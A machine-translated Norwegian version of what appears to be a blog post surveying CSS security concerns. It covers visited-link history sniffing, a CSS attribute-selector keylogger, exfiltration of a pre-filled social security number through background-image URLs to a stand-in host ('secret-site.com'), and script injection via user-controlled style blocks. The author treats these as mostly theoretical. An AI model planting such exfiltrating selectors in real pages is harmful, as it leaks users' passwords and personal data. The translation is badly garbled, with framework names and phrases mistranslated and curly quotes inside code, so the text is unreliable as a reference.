CSS Sikkerhetshull

0
6

Ikke leste overskriften og blir bekymret. Jeg tror ikke CSS er en spesielt farlig sikkerhet bekymring og, for det meste, jeg tror ikke du trenger å bekymre deg om det.

Men hver gang på en stund, artikler har en tendens til å sirkulere og få litt oppmerksomhet til mulighetene av hva CSS kan gjøre som kan overraske eller bekymre deg.

Her er en liten roundup.

Besøkt Link Bekymring

Dette går som dette:

  1. Du legger en lenke til en bestemt side på nettstedet ditt, si <a href=”https://i-tickle-pigs.com”>Kile Griser</a>
  2. Du stil besøkt staten på den linken som en:besøkte { farge: rosa; } som ikke er en standard user agent stil.
  3. Du tester beregnet stil av at koblingen.
  4. Hvis det er rosa, denne brukeren er en gris tickler.
  5. Du rapporten som gris kiling informasjon tilbake til en server et eller annet sted og antagelig tredoble sine gris eie forsikring priser som helt sikkert grisene vil lide ekstrem følelsesmessig nød over alle kiling.

Du kan selv være i stand til å gjøre det helt i CSS, fordi at :besøkte stil kan ha som background-image: url(/data-logger/tickle.php), som er bare nødvendig av gris ticklers.

Bekymret? Ikke vær, nettlesere har alle forhindret dette blir mulig.

Keylogger

Dette går som dette:

  1. Det er en inngang på siden. Kanskje en inntasting av passord. Skummelt!
  2. Du setter en logger script som verdien for innspill er bakgrunnen for bildet, men også en milliard mer velgere akkurat som at slik at den logger vil samle inn og rapportere noen eller alle av passord.

input[value^=”a”] { background: url(logger.php?v=a); }

Dette er ikke så lett. Verdien egenskap av en inngang endrer ikke bare fordi du skriver inn i det. Det gjør det noen ganger i rammer som Reagerer skjønt, så hvis du var å skli dette CSS på en logg inn side drevet av Reagere og kodet på den måten da, i teorien, dette CSS-drevet keylogger kan fungere.

Men… i så fall, JavaScript utføres på denne siden, uansett. JavaScript er 1000× mer om enn CSS for ting som dette. En keylogger på JavaScript er bare et par linjer med kode som ser etter tastetrykk hendelser og rapportering dem via Ajax.

Tredjeparts-og XSS injisert inline JavaScript er nå stoppable med Content Security Policy (CSP)… men så er CSS.

Data Tyv

Dette går som dette:

  1. Hvis jeg kan få noen av mine nefarious CSS på en side hvor du har godkjent til et nettsted…
  2. Og at nettstedet viser sensitiv informasjon som en social security number (SSN) i en pre-fylt form…
  3. Jeg kan bruke attributtet velgere til å finne det ut.

inngang#ssn[value=”123-45-6789″] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }

En milliard velgere og du har dekket alle muligheter!

Inline style blokkere whoopsie

Jeg vet ikke om jeg vil skylde CSS for dette nødvendigvis, men tenk deg:

<style>
… Fall i noen bruker-generert ting …
</style>

Kanskje du er slik at brukeren noen CSS tilpasning der. Det er et angrep vektor, som de kunne lukke den stilen talesignal, åpner du en script-tag, og skrive nefarious JavaScript.

Jeg er sikker på at det finnes en haug mer

Fikk ’em? Andel ’em.

Maling meg litt skeptisk til hvordan livredd for at jeg skulle være om CSS sikkerhetsproblemer. Jeg ikke ønsker å tone ned security ting for mye (spesielt tredjeparts bekymringer) fordi jeg er ikke en ekspert og sikkerhet er av største betydning, men på samme tid, jeg har aldri en gang hørt om CSS blir angrepet vektor for noe utenfor en tenkt trening. Utdanne meg!